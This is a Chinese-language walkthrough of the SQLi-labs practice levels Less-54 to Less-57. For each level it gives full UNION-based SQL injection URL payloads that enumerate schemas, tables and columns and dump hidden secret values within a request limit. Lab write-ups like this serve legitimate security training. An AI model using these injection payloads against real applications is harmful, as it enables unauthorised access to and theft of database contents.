a- Less-54
page4的第一关,要求在10次请求内获取信息,否则会刷新表名。
首先判断下注入类型,单字符注入,查询列数,3列(这些与表名无关的内容与表名是否刷新无关,所以不需要关心是否10次刷新)
构造查询数据库名的payload:
?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata%23

根据页面内容猜测challengs是要注入的库
构造查询表名的payload:
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
注:因为表名开始就是每10次请求刷新一次,这里我们已经访问7次了,剩下3次可能不够获取后面信息(其实够了),所以一直刷新到10次让计数器重置再进行后续注入。

查询到表名(我这里显示次数2是因为第一次把information拼错了)
构造查询列名的payload:
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'T1EEQX3Y1C'%23

查询到列名(显示4是因为把schema拼错了(笑)
构造payload:
?id=0' union select 1,2,group_concat(concat(id,'$',sessid,'$',secret_4TDN,'$',tryy)) from challenges.T1EEQX3Y1C%23

注入成功(这次没拼错了,实际上第一次写了俩问号,但是由于后端没有正确接受id参数所以计数器未+1)
这一关基本就是对Less-1内容的复习吧
- Less-55
先通过?id=1)%23
测试出数值型注入,一个括号
构造payload:
?id=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23

获取表名
构造payload:
?id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='4VAHHHM3I5'%23

获取列名
构造payload:
?id=0) union select 1,2,group_concat(concat(id,'$',sessid,'$',secret_15XX,'$',tryy)) from challenges.4VAHHHM3I5%23

注入成功
- Less-56
先判断出单引号一个括号
再构造payload:
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23

?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='RW2CKPWESH'%23

?id=0') union select 1,2,group_concat(concat(id,'$',sessid,'$',secret_HX83,'$',tryy)) from challenges.RW2CKPWESH%23

注入成功
- Less-57
双字符注入
构造payload:
?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23

(这里次数7是因为第一次截的图上传不了所以重新截了一张)
构造payload:
?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='SGOZDJQYG0'%23

构造payload:
?id=0" union select 1,2,group_concat(concat(id,'$',sessid,'$',secret_QUP8,'$',tryy)) from challenges.SGOZDJQYG0%23

注入成功
网友评论